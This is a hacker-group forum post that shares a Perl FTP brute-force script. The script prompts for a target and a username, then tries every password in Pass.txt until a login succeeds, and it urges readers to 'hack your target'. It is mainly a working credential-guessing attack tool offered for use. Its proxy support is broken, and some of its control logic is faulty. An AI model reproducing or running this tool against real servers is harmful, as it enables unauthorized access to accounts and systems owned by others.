BHG FTP Brute Force [Proxy-Support] Version Beta

Hi Guys

BHG-FTP-Brute-Force[Proxy-Support]-Version-Beta

Help:
Put Pass.txt &  Proxy.txt  In same directory :)



#!/usr/bin/perl
#Black Hat Group Security Center
#BHG FTP Brute Force Version Beta
#Code By G3n3Rall
#AnTi.SecurityBoy@Gmail.com
#We Are : Net.Edit0r , A.Crox , 3H34N , Am!n , tHe.K!ll3r , ArYaIeIrAn , G3n3Rall , Mr.XHat , NoL1m1t , Black Viper ,Dj.TiniVini .....
#BHG Site & Forum : www.Black-HG.Org   | Our Forum : www.Black-HG.Org/cc/
#IRANIAN HACKERS
#You Should put Pass.txt [password List] on same directory
#You Should put Proxy.txt [proxy list] on same directory
###############################################################################
use Net::FTP; #For FTP
use LWP::UserAgent; #For Proxy

system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print q (
''''''''''''''''''''''''A'''''''''A''''''''''''''''''''''''''
'''''''''''''''''''''''''A'''''''''A'''''''''''''''''''''''''
'''''''''''''''''''''A'''A'''''''''A'''A'''''''''''''''''''''
'''''''''''''''''''''A''AA'''''''''AA''A'''''''''''''''''''''
'''''''''''''''''''''AA'AAA'''''''AAA'AA'''''''''''''''''''''
'''''''''''''A''''''AA'''AAA'''''AAA'''AA''''''A'''''''''''''
''''''''''''AA''''''AA'''AAA'''''AAA'''AA''''''AA''''''''''''
'''''''''''AA''''''AA''''AAAA'''AAAA''''AA''''''AA'''''''''''
'''''''''''AA'''''AAA''''AAAA''AAAAA''''AAA'''''AAA''''''''''
'''''''A''AAA''''AAAA''''AAAA'''AAAA''''AAAA'''AAAA''A'''''''
'''''''AA'AAAAA''AAAA'''AAAAA'''AAAAA'''AAAA''AAAAA'AA'''''''
'''''''AA'AAAAA''AAAAAAAAAAA'''''AAAAAAAAAAA''AAAAA'A''''''''
'''''''AA'AAAAA''AAAAAAAAAAA'''''AAAAAAAAAAA''AAAAA'AA'''''''
''''''AAA''AAAA'''AAAAAAAAAAAAAAAAAAAAAAAAA'''AAAA''AAA''''''
'''''AAAA''AAAA'''AAAAAAAAAAAAAAAAAAAAAAAAA'''AAAA''AAAA'''''
''''AAAA'''AAAAA'AAAAAAAAAAAAAAAAAAAAAAAAAAA'AAAAA'''AAAA''''
'''AAAA''''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'''AAAA''''
'''AAAAA''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''AAAA''''
''''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''''
''''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''''
'''''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'''''
'''''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'''''
''''''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''''''
'''''AAAAA'''''''''''AAAAAAAAAAAAAAAAAAA'''''''''''AAAAA'''''
'''''AAAAAA'''''''''''''AAAAAAAAAAAAA'''''''''''''AAAAAA'''''
''''''AAAAAAA''''''''..'''''AAAAAAAAA'''''..''''''AAAAAA'''''
'''''''AAAAAAAA'''''''''''''AAAAA'''''''''''''AAAAAAAA'''''''
''''''''AAAAAAAAAA'''''''''''AAA'''''''''''AAAAAAAAAA''''''''
'''''''''''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'''''''''''
''''''''''''''AAAAAAAAAAAAAAA'''AAAAAAAAAAAAAAA''''''''''''''
''''''''''''''''''AAAAAAAAAA'''''AAAAAAAAAA''''''''''''''''''
'''''''''''''''''''AAAAAAAA'''''''AAAAAAAA'''''''''''''''''''
''''''''''''''''''AAAAAAAAA'''''''AAAAAAAAA''''''''''''''''''
''''''''''''''''''AAAAAAAAA'AAAAA'AAAAAAAAA''''''''''''''''''
'''''''''''''''''AAAAAAAAAAAAAAAAAAAAAAAAAAA'''''''''''''''''
'''''''''''''''''AAA''AAAAAAAAAAAAAAAAA''AAA'''''''''''''''''
''''''''''''''''''AA''AAAA''AAAAA''AAAA''AA''''''''''''''''''
''''''''''''''''''''''AAAA''AAAAA''AAAA''''''''''''''''''''''
);
sleep(5);
############################################################
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "\n\n\t\t Black Hat Group Security Center\n";
print "\n\t\t Site: Black-hg.org  &&  Forum: Black-hg.org/cc/";
print "\n\n\n\n\n\n\n\t\t\t Code By G3n3Rall";
print "\n";
sleep(2);
############################################################
Menu:;
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "\n\t\tBlack Hat Group FTP Brute Force Version Beta";
print "\n\n\t\t JOBs:";
print "\n\n\t\t 1-FTP";
print "\n\t\t 2-Exit";
print "\n\n\t\t\tChoose:";
$Menu =<STDIN>;
##############################################################
#Exit
if ($Menu == 2) {
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "Dont Forget our Forum : Black-hg.org/cc/";
print"\nExit\n";
exit;
}
##############################################################
#FTP
if ($Menu==1){
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "\n\t\t You Choose FTP Brute Force";
sleep(3);
Proxy:;
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
Cont:;
print"\n\t\t Please Enter Target:";
$Target=<STDIN>;
print "\n\t\t Please Enter USERNAME:";
$USER=<STDIN>;
print "\n\n\t\t Ok Please wait ....\n";
goto JOB;
#######
JOB:;
################################
print "\n\n\n\t\t Opening Proxy.txt\n";
open(HTTP_proxy, "<Proxy.txt") or die "\n\t Sry Cannot Find Proxy.txt \n";
$Proxy=$_;
$ua = LWP::UserAgent->new;
  $ENV{HTTP_proxy} = "$Proxy";
  $ua->env_proxy; # initialize from environment variables


print "\n\n\t\t Opening Pass.txt\n\n\n";
open (Pass, "<Pass.txt") or die "\n\tSry NOT FOUND Pass.txt \n";
while(<Pass>){
$Passwd = $_;
chomp ($Target);
chomp ($USER);
chomp ($Passwd);


$ftp = Net::FTP->new("$Target", Debug => 0);
unless ($ftp) {
warn "\n\n\nCannot Connect to $Target\n\n\n";

}
my $Die;
$ftp->login("$USER","$Passwd") or $Die = 1;
if ($Die) {
        print "\n\t\t ";
        print $ftp->message;
        print "\n";
        next;
    }
  else {
  Cracked;
  system(($^O eq 'MSWin32') ? 'cls' : 'clear');
  print "\n\n\n\n\n\n\t\t Cracked & Password is => $Passwd";
  print "\n\n\n\n\t\t Dont Forget Black-hg.org/cc/";
  print "\n\t\t BHG Security Center\n";
 exit;
  }

$ftp->quit;
}

}
###############################################################
if($Die=1){
  system(($^O eq 'MSWin32') ? 'cls' : 'clear');
  print "\nSry Password Not Find :( But Try , You Can Hack your Target ;)";
  print "\nDont Forget Black-hg.org/cc/";
  print "\nBHG Security Center\n";
  exit;
}

if ($Menu != 1 || 2){
print "\n\n\t\t Invalid ID\n";
sleep(1);
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
goto Menu;
}




Black Hat group Security Center
Site: www.Black-hg.org
Forum: www.Black-hg.org/cc/
By G3n3Rall
AnTi.SecurityBoy@Gmail.com

Bye.